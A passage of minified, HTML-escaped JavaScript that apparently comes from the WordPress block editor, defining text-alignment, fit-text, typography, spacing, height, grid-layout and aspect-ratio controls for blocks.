left&quot;),align:&quot;left&quot;},{icon:Vh,title:(0,T.__)(&quot;Align text center&quot;),align:&quot;center&quot;},{icon:Fh,title:(0,T.__)(&quot;Align text right&quot;),align:&quot;right&quot;}],Dg={placement:&quot;bottom-start&quot;};var Og=function({value:e,onChange:t,alignmentControls:n=Lg,label:o=(0,T.__)(&quot;Align text&quot;),description:r=(0,T.__)(&quot;Change text alignment&quot;),isCollapsed:i=!0,isToolbar:s}){function l(n){return()=&gt;t(e===n?void 0:n)}const a=n.find((t=&gt;t.align===e)),c=s?Ss.ToolbarGroup:Ss.ToolbarDropdownMenu,u=s?{isCollapsed:i}:{toggleProps:{description:r},popoverProps:Dg};return(0,d.jsx)(c,{icon:a?a.icon:(0,T.isRTL)()?Fh:zh,label:o,controls:n.map((t=&gt;{const{align:n}=t,o=e===n;return{...t,isActive:o,role:i?&quot;menuitemradio&quot;:void 0,onClick:l(n)}})),...u})};const zg=e=&gt;(0,d.jsx)(Og,{...e,isToolbar:!1}),Vg=e=&gt;(0,d.jsx)(Og,{...e,isToolbar:!0}),Fg=&quot;typography.textAlign&quot;,Hg=[{icon:zh,title:(0,T.__)(&quot;Align text left&quot;),align:&quot;left&quot;},{icon:Vh,title:(0,T.__)(&quot;Align text center&quot;),align:&quot;center&quot;},{icon:Fh,title:(0,T.__)(&quot;Align text right&quot;),align:&quot;right&quot;}],Ug=[&quot;left&quot;,&quot;center&quot;,&quot;right&quot;],Gg=[];function $g(e){return Array.isArray(e)?Ug.filter((t=&gt;e.includes(t))):!0===e?Ug:Gg}var Wg={edit:function({style:e,name:t,setAttributes:n}){const o=ys(t),r=o?.typography?.textAlign,i=ha();if(!r||&quot;default&quot;!==i)return null;const s=$g((0,p.getBlockSupport)(t,Fg));if(!s.length)return null;const l=Hg.filter((e=&gt;s.includes(e.align)));return(0,d.jsx)(Ps,{group:&quot;block&quot;,children:(0,d.jsx)(zg,{value:e?.typography?.textAlign,onChange:t=&gt;{const o={...e,typography:{...e?.typography,textAlign:t}};n({style:ms(o)})},alignmentControls:l})})},useBlockProps:function({name:e,style:t}){if(!t?.typography?.textAlign)return null;if(!$g((0,p.getBlockSupport)(e,Fg)).length)return null;if(bs(e,Qg,&quot;textAlign&quot;))return null;const n=t.typography.textAlign;return{className:gs({[`has-text-align-${n}`]:n})}},addSaveProps:function(e,t,n){if(!n?.style?.typography?.textAlign)return e;const{textAlign:o}=n.style.typography,r=(0,p.getBlockSupport)(t,Fg);$g(r).includes(o)&amp;&amp;!bs(t,Qg,&quot;textAlign&quot;)&amp;&amp;(e.className=gs(`has-text-align-${o}`,e.className));return e},attributeKeys:[&quot;style&quot;],hasSupport:e=&gt;(0,p.hasBlockSupport)(e,Fg,!1)};function Kg(e,t){if(!e)return;t(0);const n=function(e,t){const n=e.scrollHeight&gt;e.clientHeight;let o=5,r=2400,i=o;const s=window.getComputedStyle(e);let l=parseFloat(s.paddingLeft)||0,a=parseFloat(s.paddingRight)||0;const c=document.createRange();c.selectNodeContents(e);let u=e;const d=e.parentElement;if(d){const e=window.getComputedStyle(d);&quot;flex&quot;===e?.display&amp;&amp;(u=d,l+=parseFloat(e.paddingLeft)||0,a+=parseFloat(e.paddingRight)||0)}let p=u.clientHeight;for(;o&lt;=r;){const s=Math.floor((o+r)/2);t(s);const d=c.getBoundingClientRect().width,h=e.scrollWidth&lt;=u.clientWidth&amp;&amp;d&lt;=u.clientWidth-l-a,g=n||e.scrollHeight&lt;=u.clientHeight||e.scrollHeight&lt;=p;u.clientHeight&gt;p&amp;&amp;(p=u.clientHeight),h&amp;&amp;g?(i=s,o=s+1):r=s-1}return c.detach(),i}(e,t);return t(n),n}const Zg={},qg=&quot;typography.fitText&quot;;(0,f.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;core/fit-text/addAttribute&quot;,(function(e){return(0,p.hasBlockSupport)(e,qg)?e.attributes?.fitText?e:{...e,attributes:{...e.attributes,fitText:{type:&quot;boolean&quot;}}}:e}));var Yg={useBlockProps:function({name:e,fitText:t,clientId:n}){return function({fitText:e,name:t,clientId:n}){const o=(0,p.hasBlockSupport)(t,qg),r=fh(n),{blockAttributes:i,parentId:s,blockMode:l}=(0,g.useSelect)((t=&gt;{if(!n||!o||!e)return Zg;const r=t(Ii).getBlockMode(n);return&quot;html&quot;===r?{blockMode:r}:{blockAttributes:t(Ii).getBlockAttributes(n),parentId:t(Ii).getBlockRootClientId(n),blockMode:r}}),[n,o,e]),a=(0,h.useCallback)((()=&gt;{if(!r||!o||!e)return;const t=`fit-text-${n}`;let i=r.ownerDocument.getElementById(t);i||(i=r.ownerDocument.createElement(&quot;style&quot;),i.id=t,r.ownerDocument.head.appendChild(i));const s=`#block-${n}`;Kg(r,(e=&gt;{i.textContent=0===e?&quot;&quot;:`${s} { font-size: ${e}px !important; }`}))}),[r,n,o,e]);(0,h.useEffect)((()=&gt;{if(!(e&amp;&amp;r&amp;&amp;n&amp;&amp;o&amp;&amp;&quot;html&quot;!==l))return;const t=r,i=t.style.visibility;let s,c=null,u=null,d=null;return c=window.requestAnimationFrame((()=&gt;{t.style.visibility=&quot;hidden&quot;,u=window.requestAnimationFrame((()=&gt;{a(),d=setTimeout((()=&gt;{t.style.visibility=i}),10)}))})),window.ResizeObserver&amp;&amp;t.parentElement&amp;&amp;(s=new window.ResizeObserver(a),s.observe(t.parentElement),s.observe(t)),()=&gt;{null!==c&amp;&amp;window.cancelAnimationFrame(c),null!==u&amp;&amp;window.cancelAnimationFrame(u),null!==d&amp;&amp;clearTimeout(d),s&amp;&amp;s.disconnect();const e=`fit-text-${n}`,o=t.ownerDocument.getElementById(e);o&amp;&amp;o.remove()}}),[e,n,s,a,r,o,l]),(0,h.useEffect)((()=&gt;{if(e&amp;&amp;r&amp;&amp;o&amp;&amp;&quot;html&quot;!==l){const e=window.requestAnimationFrame((()=&gt;{r&amp;&amp;a()}));return()=&gt;window.cancelAnimationFrame(e)}}),[i,e,a,r,o,l])}({fitText:t,name:e,clientId:n}),t&amp;&amp;(0,p.hasBlockSupport)(e,qg)?{className:&quot;has-fit-text&quot;}:{}},addSaveProps:function(e,t,n){if(!(0,p.hasBlockSupport)(t,qg))return e;const{fitText:o}=n;if(!o)return e;const r=e.className?`${e.className} has-fit-text`:&quot;has-fit-text&quot;;return{...e,className:r}},attributeKeys:[&quot;fitText&quot;],hasSupport:e=&gt;(0,p.hasBlockSupport)(e,qg),edit:()=&gt;null};function Xg(e,t){return Object.fromEntries(Object.entries(e).filter((([e])=&gt;!t.includes(e))))}const Qg=&quot;typography&quot;,Jg=[yg,Pg,&quot;typography.__experimentalFontStyle&quot;,&quot;typography.__experimentalFontWeight&quot;,wg,Fg,&quot;typography.textColumns&quot;,&quot;typography.__experimentalTextDecoration&quot;,&quot;typography.__experimentalWritingMode&quot;,&quot;typography.__experimentalTextTransform&quot;,&quot;typography.__experimentalLetterSpacing&quot;,qg];function em(e){const t={...Xg(e,[&quot;fontFamily&quot;])},n=e?.typography?.fontSize,o=e?.typography?.fontFamily,r=&quot;string&quot;==typeof n&amp;&amp;n?.startsWith(&quot;var:preset|font-size|&quot;)?n.substring(21):void 0,i=o?.startsWith(&quot;var:preset|font-family|&quot;)?o.substring(23):void 0;return t.typography={...Xg(t.typography,[&quot;fontFamily&quot;]),fontSize:r?void 0:n},{style:ms(t),fontFamily:i,fontSize:r}}function tm(e){return{...e.style,typography:{...e.style?.typography,fontFamily:e.fontFamily?&quot;var:preset|font-family|&quot;+e.fontFamily:void 0,fontSize:e.fontSize?&quot;var:preset|font-size|&quot;+e.fontSize:e.style?.typography?.fontSize}}}function nm({children:e,resetAllFilter:t}){const n=(0,h.useCallback)((e=&gt;{const n=tm(e),o=t(n);return{...e,...em(o)}}),[t]);return(0,d.jsx)(Va,{group:&quot;typography&quot;,resetAllFilter:n,children:e})}function om({clientId:e,name:t,setAttributes:n,settings:o}){const{style:r,fontFamily:i,fontSize:s,fitText:l}=(0,g.useSelect)((function(t){const{style:n,fontFamily:o,fontSize:r,fitText:i}=t(Ii).getBlockAttributes(e)||{};return{style:n,fontFamily:o,fontSize:r,fitText:i}}),[e]),a=lg(o),c=(0,h.useMemo)((()=&gt;tm({style:r,fontFamily:i,fontSize:s})),[r,s,i]);if(!a)return null;const u=(0,p.getBlockSupport)(t,[Qg,&quot;__experimentalDefaultControls&quot;]);return(0,d.jsx)(_g,{as:nm,panelId:e,settings:o,value:c,onChange:e=&gt;{n(em(e))},defaultControls:u,fitText:l})}const rm=[],im=new Intl.Collator(&quot;und&quot;,{numeric:!0}).compare;function sm(){const[e,t,n,o]=Ei(&quot;spacing.spacingSizes.custom&quot;,&quot;spacing.spacingSizes.theme&quot;,&quot;spacing.spacingSizes.default&quot;,&quot;spacing.defaultSpacingSizes&quot;),r=e??rm,i=t??rm,s=n&amp;&amp;!1!==o?n:rm;return(0,h.useMemo)((()=&gt;{const e=[{name:(0,T.__)(&quot;None&quot;),slug:&quot;0&quot;,size:0},...r,...i,...s];return e.every((({slug:e})=&gt;/^[0-9]/.test(e)))&amp;&amp;e.sort(((e,t)=&gt;im(e.slug,t.slug))),e.length&gt;Xs?[{name:(0,T.__)(&quot;Default&quot;),slug:&quot;default&quot;,size:void 0},...e]:e}),[r,i,s])}const lm={px:{max:300,steps:1},&quot;%&quot;:{max:100,steps:1},vw:{max:100,steps:1},vh:{max:100,steps:1},em:{max:10,steps:.1},rm:{max:10,steps:.1},svw:{max:100,steps:1},lvw:{max:100,steps:1},dvw:{max:100,steps:1},svh:{max:100,steps:1},lvh:{max:100,steps:1},dvh:{max:100,steps:1},vi:{max:100,steps:1},svi:{max:100,steps:1},lvi:{max:100,steps:1},dvi:{max:100,steps:1},vb:{max:100,steps:1},svb:{max:100,steps:1},lvb:{max:100,steps:1},dvb:{max:100,steps:1},vmin:{max:100,steps:1},svmin:{max:100,steps:1},lvmin:{max:100,steps:1},dvmin:{max:100,steps:1},vmax:{max:100,steps:1},svmax:{max:100,steps:1},lvmax:{max:100,steps:1},dvmax:{max:100,steps:1}};function am({icon:e,isMixed:t=!1,minimumCustomValue:n,onChange:o,onMouseOut:r,onMouseOver:i,showSideInLabel:s=!0,side:l,spacingSizes:a,type:c,value:u}){u=il(u,a);let p=a;const f=a.length&lt;=Xs,b=(0,g.useSelect)((e=&gt;{const t=e(Ii).getSettings();return t?.disableCustomSpacingSizes})),[k,v]=(0,h.useState)(!b&amp;&amp;void 0!==u&amp;&amp;!ol(u)),[_,y]=(0,h.useState)(n),x=(0,m.usePrevious)(u);u&amp;&amp;x!==u&amp;&amp;!ol(u)&amp;&amp;!0!==k&amp;&amp;v(!0);const[S]=Ei(&quot;spacing.units&quot;),w=(0,Ss.__experimentalUseCustomUnits)({availableUnits:S||[&quot;px&quot;,&quot;em&quot;,&quot;rem&quot;]});let C=null;!f&amp;&amp;!k&amp;&amp;void 0!==u&amp;&amp;(!ol(u)||ol(u)&amp;&amp;t)?(p=[...a,{name:t?(0,T.__)(&quot;Mixed&quot;):(0,T.sprintf)((0,T.__)(&quot;Custom (%s)&quot;),u),slug:&quot;custom&quot;,size:u}],C=p.length-1):t||(C=k?rl(u,a):function(e,t){if(void 0===e)return 0;const n=0===parseFloat(e,10)?&quot;0&quot;:ll(e),o=t.findIndex((e=&gt;String(e.slug)===n));return-1!==o?o:NaN}(u,a));const B=(0,h.useMemo)((()=&gt;(0,Ss.__experimentalParseQuantityAndUnitFromRawValue)(C)),[C])[1]||w[0]?.value,I=parseFloat(C,10),j=(e,t)=&gt;{const n=parseInt(e,10);if(&quot;selectList&quot;===t){if(0===n)return;if(1===n)return&quot;0&quot;}else if(0===n)return&quot;0&quot;;return`var:preset|spacing|${a[e]?.slug}`},E=t?(0,T.__)(&quot;Mixed&quot;):null,M=p.map(((e,t)=&gt;({key:t,name:e.name}))),P=a.slice(1,a.length-1).map(((e,t)=&gt;({value:t+1,label:void 0}))),R=Qs.includes(l)&amp;&amp;s?tl[l]:&quot;&quot;,A=s?c?.toLowerCase():c,N=(0,T.sprintf)((0,T._x)(&quot;%1$s %2$s&quot;,&quot;spacing&quot;),R,A).trim();return(0,d.jsxs)(Ss.__experimentalHStack,{className:&quot;spacing-sizes-control__wrapper&quot;,children:[e&amp;&amp;(0,d.jsx)(Ss.Icon,{className:&quot;spacing-sizes-control__icon&quot;,icon:e,size:24}),k&amp;&amp;(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(Ss.__experimentalUnitControl,{onMouseOver:i,onMouseOut:r,onFocus:i,onBlur:r,onChange:e=&gt;o((e=&gt;isNaN(parseFloat(e))?void 0:e)(e)),value:C,units:w,min:_,placeholder:E,disableUnits:t,label:N,hideLabelFromVision:!0,className:&quot;spacing-sizes-control__custom-value-input&quot;,size:&quot;__unstable-large&quot;,onDragStart:()=&gt;{&quot;-&quot;===u?.charAt(0)&amp;&amp;y(0)},onDrag:()=&gt;{&quot;-&quot;===u?.charAt(0)&amp;&amp;y(0)},onDragEnd:()=&gt;{y(n)}}),(0,d.jsx)(Ss.RangeControl,{__next40pxDefaultSize:!0,onMouseOver:i,onMouseOut:r,onFocus:i,onBlur:r,value:I,min:0,max:lm[B]?.max??10,step:lm[B]?.steps??.1,withInputField:!1,onChange:e=&gt;{o([e,B].join(&quot;&quot;))},className:&quot;spacing-sizes-control__custom-value-range&quot;,__nextHasNoMarginBottom:!0,label:N,hideLabelFromVision:!0})]}),f&amp;&amp;!k&amp;&amp;(0,d.jsx)(Ss.RangeControl,{__next40pxDefaultSize:!0,onMouseOver:i,onMouseOut:r,className:&quot;spacing-sizes-control__range-control&quot;,value:C,onChange:e=&gt;o(j(e)),onMouseDown:e=&gt;{e?.nativeEvent?.offsetX&lt;35&amp;&amp;void 0===u&amp;&amp;o(&quot;0&quot;)},withInputField:!1,&quot;aria-valuenow&quot;:C,&quot;aria-valuetext&quot;:a[C]?.name,renderTooltipContent:e=&gt;void 0===u?void 0:a[e]?.name,min:0,max:a.length-1,marks:P,label:N,hideLabelFromVision:!0,__nextHasNoMarginBottom:!0,onFocus:i,onBlur:r}),!f&amp;&amp;!k&amp;&amp;(0,d.jsx)(Ss.CustomSelectControl,{className:&quot;spacing-sizes-control__custom-select-control&quot;,value:M.find((e=&gt;e.key===C))||&quot;&quot;,onChange:e=&gt;{o(j(e.selectedItem.key,&quot;selectList&quot;))},options:M,label:N,hideLabelFromVision:!0,size:&quot;__unstable-large&quot;,onMouseOver:i,onMouseOut:r,onFocus:i,onBlur:r}),!b&amp;&amp;(0,d.jsx)(Ss.Button,{label:k?(0,T.__)(&quot;Use size preset&quot;):(0,T.__)(&quot;Set custom size&quot;),icon:Ud,onClick:()=&gt;{v(!k)},isPressed:k,size:&quot;small&quot;,className:&quot;spacing-sizes-control__custom-toggle&quot;,iconSize:24})]})}const cm=[&quot;vertical&quot;,&quot;horizontal&quot;];function um({minimumCustomValue:e,onChange:t,onMouseOut:n,onMouseOver:o,sides:r,spacingSizes:i,type:s,values:l}){const a=e=&gt;n=&gt;{if(!t)return;const o={...Object.keys(l).reduce(((e,t)=&gt;(e[t]=il(l[t],i),e)),{})};&quot;vertical&quot;===e&amp;&amp;(o.top=n,o.bottom=n),&quot;horizontal&quot;===e&amp;&amp;(o.left=n,o.right=n),t(o)},c=r?.length?cm.filter((e=&gt;al(r,e))):cm;return(0,d.jsx)(d.Fragment,{children:c.map((t=&gt;{const r=&quot;vertical&quot;===t?l.top:l.left;return(0,d.jsx)(am,{icon:el[t],label:tl[t],minimumCustomValue:e,onChange:a(t),onMouseOut:n,onMouseOver:o,side:t,spacingSizes:i,type:s,value:r,withInputField:!1},`spacing-sizes-control-${t}`)}))})}function dm({minimumCustomValue:e,onChange:t,onMouseOut:n,onMouseOver:o,sides:r,spacingSizes:i,type:s,values:l}){const a=r?.length?Qs.filter((e=&gt;r.includes(e))):Qs,c=e=&gt;n=&gt;{const o={...Object.keys(l).reduce(((e,t)=&gt;(e[t]=il(l[t],i),e)),{})};o[e]=n,t(o)};return(0,d.jsx)(d.Fragment,{children:a.map((t=&gt;(0,d.jsx)(am,{icon:el[t],label:tl[t],minimumCustomValue:e,onChange:c(t),onMouseOut:n,onMouseOver:o,side:t,spacingSizes:i,type:s,value:l[t],withInputField:!1},`spacing-sizes-control-${t}`)))})}function pm({minimumCustomValue:e,onChange:t,onMouseOut:n,onMouseOver:o,showSideInLabel:r,side:i,spacingSizes:s,type:l,values:a}){return(0,d.jsx)(am,{label:tl[i],minimumCustomValue:e,onChange:(c=i,e=&gt;{const n={...Object.keys(a).reduce(((e,t)=&gt;(e[t]=il(a[t],s),e)),{})};n[c]=e,t(n)}),onMouseOut:n,onMouseOver:o,showSideInLabel:r,side:i,spacingSizes:s,type:l,value:a[i],withInputField:!1});var c}function hm({isLinked:e,...t}){const n=e?(0,T.__)(&quot;Unlink sides&quot;):(0,T.__)(&quot;Link sides&quot;);return(0,d.jsx)(Ss.Button,{...t,size:&quot;small&quot;,icon:e?Nd:Ja,iconSize:24,label:n})}function gm({inputProps:e,label:t,minimumCustomValue:n=0,onChange:o,onMouseOut:r,onMouseOver:i,showSideInLabel:s=!0,sides:l=Qs,useSelect:a,values:c}){const u=sm(),p=c||Js,g=1===l?.length,m=l?.includes(&quot;horizontal&quot;)&amp;&amp;l?.includes(&quot;vertical&quot;)&amp;&amp;2===l?.length,[f,b]=(0,h.useState)(function(e={},t){const{top:n,right:o,bottom:r,left:i}=e,s=[n,o,r,i].filter(Boolean),l=!(n!==r||i!==o||!n&amp;&amp;!i),a=!s.length&amp;&amp;function(e=[]){const t={top:0,right:0,bottom:0,left:0};return e.forEach((e=&gt;t[e]+=1)),(t.top+t.bottom)%2==0&amp;&amp;(t.left+t.right)%2==0}(t),c=t?.includes(&quot;horizontal&quot;)&amp;&amp;t?.includes(&quot;vertical&quot;)&amp;&amp;2===t?.length;if(al(t)&amp;&amp;(l||a))return nl.axial;if(c&amp;&amp;1===s.length){let t;return Object.entries(e).some((([e,n])=&gt;(t=e,void 0!==n))),t}return 1!==t?.length||s.length?nl.custom:t[0]}(p,l)),k={...e,minimumCustomValue:n,onChange:e=&gt;{const t={...c,...e};o(t)},onMouseOut:r,onMouseOver:i,sides:l,spacingSizes:u,type:t,useSelect:a,values:p},v=Qs.includes(f)&amp;&amp;s?tl[f]:&quot;&quot;,_=(0,T.sprintf)((0,T._x)(&quot;%1$s %2$s&quot;,&quot;spacing&quot;),t,v).trim();return(0,d.jsxs)(&quot;fieldset&quot;,{className:&quot;spacing-sizes-control&quot;,children:[(0,d.jsxs)(Ss.__experimentalHStack,{className:&quot;spacing-sizes-control__header&quot;,children:[(0,d.jsx)(Ss.BaseControl.VisualLabel,{as:&quot;legend&quot;,className:&quot;spacing-sizes-control__label&quot;,children:_}),!g&amp;&amp;!m&amp;&amp;(0,d.jsx)(hm,{label:t,onClick:()=&gt;{b(f===nl.axial?nl.custom:nl.axial)},isLinked:f===nl.axial})]}),(0,d.jsx)(Ss.__experimentalVStack,{spacing:.5,children:f===nl.axial?(0,d.jsx)(um,{...k}):f===nl.custom?(0,d.jsx)(dm,{...k}):(0,d.jsx)(pm,{side:f,...k,showSideInLabel:s})})]})}const mm={px:{max:1e3,step:1},&quot;%&quot;:{max:100,step:1},vw:{max:100,step:1},vh:{max:100,step:1},em:{max:50,step:.1},rem:{max:50,step:.1},svw:{max:100,step:1},lvw:{max:100,step:1},dvw:{max:100,step:1},svh:{max:100,step:1},lvh:{max:100,step:1},dvh:{max:100,step:1},vi:{max:100,step:1},svi:{max:100,step:1},lvi:{max:100,step:1},dvi:{max:100,step:1},vb:{max:100,step:1},svb:{max:100,step:1},lvb:{max:100,step:1},dvb:{max:100,step:1},vmin:{max:100,step:1},svmin:{max:100,step:1},lvmin:{max:100,step:1},dvmin:{max:100,step:1},vmax:{max:100,step:1},svmax:{max:100,step:1},lvmax:{max:100,step:1},dvmax:{max:100,step:1}};function fm({label:e=(0,T.__)(&quot;Height&quot;),onChange:t,value:n}){const o=parseFloat(n),[r]=Ei(&quot;spacing.units&quot;),i=(0,Ss.__experimentalUseCustomUnits)({availableUnits:r||[&quot;%&quot;,&quot;px&quot;,&quot;em&quot;,&quot;rem&quot;,&quot;vh&quot;,&quot;vw&quot;]}),s=(0,h.useMemo)((()=&gt;(0,Ss.__experimentalParseQuantityAndUnitFromRawValue)(n)),[n])[1]||i[0]?.value||&quot;px&quot;;return(0,d.jsxs)(&quot;fieldset&quot;,{className:&quot;block-editor-height-control&quot;,children:[(0,d.jsx)(Ss.BaseControl.VisualLabel,{as:&quot;legend&quot;,children:e}),(0,d.jsxs)(Ss.Flex,{children:[(0,d.jsx)(Ss.FlexItem,{isBlock:!0,children:(0,d.jsx)(Ss.__experimentalUnitControl,{value:n,units:i,onChange:t,onUnitChange:e=&gt;{const[o,r]=(0,Ss.__experimentalParseQuantityAndUnitFromRawValue)(n);[&quot;em&quot;,&quot;rem&quot;].includes(e)&amp;&amp;&quot;px&quot;===r?t((o/16).toFixed(2)+e):[&quot;em&quot;,&quot;rem&quot;].includes(r)&amp;&amp;&quot;px&quot;===e?t(Math.round(16*o)+e):[&quot;%&quot;,&quot;vw&quot;,&quot;svw&quot;,&quot;lvw&quot;,&quot;dvw&quot;,&quot;vh&quot;,&quot;svh&quot;,&quot;lvh&quot;,&quot;dvh&quot;,&quot;vi&quot;,&quot;svi&quot;,&quot;lvi&quot;,&quot;dvi&quot;,&quot;vb&quot;,&quot;svb&quot;,&quot;lvb&quot;,&quot;dvb&quot;,&quot;vmin&quot;,&quot;svmin&quot;,&quot;lvmin&quot;,&quot;dvmin&quot;,&quot;vmax&quot;,&quot;svmax&quot;,&quot;lvmax&quot;,&quot;dvmax&quot;].includes(e)&amp;&amp;o&gt;100&amp;&amp;t(100+e)},min:0,size:&quot;__unstable-large&quot;,label:e,hideLabelFromVision:!0})}),(0,d.jsx)(Ss.FlexItem,{isBlock:!0,children:(0,d.jsx)(Ss.__experimentalSpacer,{marginX:2,marginBottom:0,children:(0,d.jsx)(Ss.RangeControl,{__next40pxDefaultSize:!0,value:o,min:0,max:mm[s]?.max??100,step:mm[s]?.step??.1,withInputField:!1,onChange:e=&gt;{t([e,s].join(&quot;&quot;))},__nextHasNoMarginBottom:!0,label:e,hideLabelFromVision:!0})})})]})]})}function bm(e,t){const{getBlockOrder:n,getBlockAttributes:o}=(0,g.useSelect)(Ii);return(r,i)=&gt;{const s=(i-1)*t+r-1;let l=0;for(const r of n(e)){const{columnStart:e,rowStart:n}=o(r).style?.layout??{};(n-1)*t+e-1&lt;s&amp;&amp;l++}return l}}function km(e,t){const{orientation:n=&quot;horizontal&quot;}=t;return&quot;fill&quot;===e?(0,T.__)(&quot;Stretch to fill available space.&quot;):&quot;fixed&quot;===e&amp;&amp;&quot;horizontal&quot;===n?(0,T.__)(&quot;Specify a fixed width.&quot;):&quot;fixed&quot;===e?(0,T.__)(&quot;Specify a fixed height.&quot;):(0,T.__)(&quot;Fit contents.&quot;)}function vm({value:e={},onChange:t,parentLayout:n,isShownByDefault:o,panelId:r}){const{type:i,default:{type:s=&quot;default&quot;}={}}=n??{},l=i||s;return&quot;flex&quot;===l?(0,d.jsx)(_m,{childLayout:e,onChange:t,parentLayout:n,isShownByDefault:o,panelId:r}):&quot;grid&quot;===l?(0,d.jsx)(xm,{childLayout:e,onChange:t,parentLayout:n,isShownByDefault:o,panelId:r}):null}function _m({childLayout:e,onChange:t,parentLayout:n,isShownByDefault:o,panelId:r}){const{selfStretch:i,flexSize:s}=e,{orientation:l=&quot;horizontal&quot;}=n??{},a=&quot;horizontal&quot;===l?(0,T.__)(&quot;Width&quot;):(0,T.__)(&quot;Height&quot;),[c]=Ei(&quot;spacing.units&quot;),u=(0,Ss.__experimentalUseCustomUnits)({availableUnits:c||[&quot;%&quot;,&quot;px&quot;,&quot;em&quot;,&quot;rem&quot;,&quot;vh&quot;,&quot;vw&quot;]});return(0,h.useEffect)((()=&gt;{&quot;fixed&quot;!==i||s||t({...e,selfStretch:&quot;fit&quot;})}),[]),(0,d.jsxs)(Ss.__experimentalVStack,{as:Ss.__experimentalToolsPanelItem,spacing:2,hasValue:()=&gt;!!i,label:a,onDeselect:()=&gt;{t({selfStretch:void 0,flexSize:void 0})},isShownByDefault:o,panelId:r,children:[(0,d.jsxs)(Ss.__experimentalToggleGroupControl,{__nextHasNoMarginBottom:!0,size:&quot;__unstable-large&quot;,label:ym(n),value:i||&quot;fit&quot;,help:km(i,n),onChange:e=&gt;{t({selfStretch:e,flexSize:&quot;fixed&quot;!==e?null:s})},isBlock:!0,children:[(0,d.jsx)(Ss.__experimentalToggleGroupControlOption,{value:&quot;fit&quot;,label:(0,T._x)(&quot;Fit&quot;,&quot;Intrinsic block width in flex layout&quot;)},&quot;fit&quot;),(0,d.jsx)(Ss.__experimentalToggleGroupControlOption,{value:&quot;fill&quot;,label:(0,T._x)(&quot;Grow&quot;,&quot;Block with expanding width in flex layout&quot;)},&quot;fill&quot;),(0,d.jsx)(Ss.__experimentalToggleGroupControlOption,{value:&quot;fixed&quot;,label:(0,T._x)(&quot;Fixed&quot;,&quot;Block with fixed width in flex layout&quot;)},&quot;fixed&quot;)]}),&quot;fixed&quot;===i&amp;&amp;(0,d.jsx)(Ss.__experimentalUnitControl,{size:&quot;__unstable-large&quot;,units:u,onChange:e=&gt;{t({selfStretch:i,flexSize:e})},value:s,min:0,label:a,hideLabelFromVision:!0})]})}function ym(e){const{orientation:t=&quot;horizontal&quot;}=e;return&quot;horizontal&quot;===t?(0,T.__)(&quot;Width&quot;):(0,T.__)(&quot;Height&quot;)}function xm({childLayout:e,onChange:t,parentLayout:n,isShownByDefault:o,panelId:r}){const{columnStart:i,rowStart:s,columnSpan:l,rowSpan:a}=e,{columnCount:c,rowCount:u}=n??{},p=(0,g.useSelect)((e=&gt;e(Ii).getBlockRootClientId(r))),{moveBlocksToPosition:h,__unstableMarkNextChangeAsNotPersistent:m}=(0,g.useDispatch)(Ii),f=bm(p,c||3),b=c?c-(i??1)+1:void 0,k=window.__experimentalEnableGridInteractivity&amp;&amp;u?u-(s??1)+1:void 0;return(0,d.jsxs)(d.Fragment,{children:[(0,d.jsxs)(Ss.Flex,{as:Ss.__experimentalToolsPanelItem,hasValue:()=&gt;!!l||!!a,label:(0,T.__)(&quot;Grid span&quot;),onDeselect:()=&gt;{t({columnSpan:void 0,rowSpan:void 0})},isShownByDefault:o,panelId:r,children:[(0,d.jsx)(Ss.FlexItem,{style:{width:&quot;50%&quot;},children:(0,d.jsx)(Ss.__experimentalInputControl,{size:&quot;__unstable-large&quot;,label:(0,T.__)(&quot;Column span&quot;),type:&quot;number&quot;,onChange:e=&gt;{const n=&quot;&quot;===e?1:parseInt(e,10),o=b?Math.min(n,b):n;t({columnStart:i,rowStart:s,rowSpan:a,columnSpan:o})},value:l??1,min:1,max:b})}),(0,d.jsx)(Ss.FlexItem,{style:{width:&quot;50%&quot;},children:(0,d.jsx)(Ss.__experimentalInputControl,{size:&quot;__unstable-large&quot;,label:(0,T.__)(&quot;Row span&quot;),type:&quot;number&quot;,onChange:e=&gt;{const n=&quot;&quot;===e?1:parseInt(e,10),o=k?Math.min(n,k):n;t({columnStart:i,rowStart:s,columnSpan:l,rowSpan:o})},value:a??1,min:1,max:k})})]}),window.__experimentalEnableGridInteractivity&amp;&amp;(0,d.jsxs)(Ss.Flex,{as:Ss.__experimentalToolsPanelItem,hasValue:()=&gt;!!i||!!s,label:(0,T.__)(&quot;Grid placement&quot;),onDeselect:()=&gt;{t({columnStart:void 0,rowStart:void 0})},isShownByDefault:!1,panelId:r,children:[(0,d.jsx)(Ss.FlexItem,{style:{width:&quot;50%&quot;},children:(0,d.jsx)(Ss.__experimentalInputControl,{size:&quot;__unstable-large&quot;,label:(0,T.__)(&quot;Column&quot;),type:&quot;number&quot;,onChange:e=&gt;{const n=&quot;&quot;===e?1:parseInt(e,10);t({columnStart:n,rowStart:s,columnSpan:l,rowSpan:a}),m(),h([r],p,p,f(n,s))},value:i??1,min:1,max:c?c-(l??1)+1:void 0})}),(0,d.jsx)(Ss.FlexItem,{style:{width:&quot;50%&quot;},children:(0,d.jsx)(Ss.__experimentalInputControl,{size:&quot;__unstable-large&quot;,label:(0,T.__)(&quot;Row&quot;),type:&quot;number&quot;,onChange:e=&gt;{const n=&quot;&quot;===e?1:parseInt(e,10);t({columnStart:i,rowStart:n,columnSpan:l,rowSpan:a}),m(),h([r],p,p,f(i,n))},value:s??1,min:1,max:u?u-(a??1)+1:void 0})})]})]})}function Sm({panelId:e,value:t,onChange:n=()=&gt;{},options:o,defaultValue:r=&quot;auto&quot;,hasValue:i,isShownByDefault:s=!0}){const l=t??&quot;auto&quot;,[a,c,u]=Ei(&quot;dimensions.aspectRatios.default&quot;,&quot;dimensions.aspectRatios.theme&quot;,&quot;dimensions.defaultAspectRatios&quot;),p=c?.map((({name:e,ratio:t})=&gt;({label:e,value:t}))),h=a?.map((({name:e,ratio:t})=&gt;({label:e,value:t}))),g=[{label:(0,T._x)(&quot;Original&quot;,&quot;Aspect ratio option for dimensions control&quot;),value:&quot;auto&quot;},...u?h:[],...p||[],{label:(0,T._x)(&quot;Custom&quot;,&quot;Aspect ratio option for dimensions control&quot;),value:&quot;custom&quot;,disabled:!0,hidden:!0}];return(0,d.jsx)(Ss.__experimentalToolsPanelItem,{hasValue:i||(()=&gt;l!==r),label:(0,T.__)(&quot;Aspect ratio&quot;),onDeselect:()=&gt;n(void 0),isShownByDefault:s,panelId:e,children:(0,d.jsx)(Ss.SelectControl,{label:(0,T.__)(&quot;Aspect ratio&quot;),value:l,options:o??g,onChange:n,size:&quot;__unstable-large&quot;,__nextHasNoMarginBottom:!0})})}const 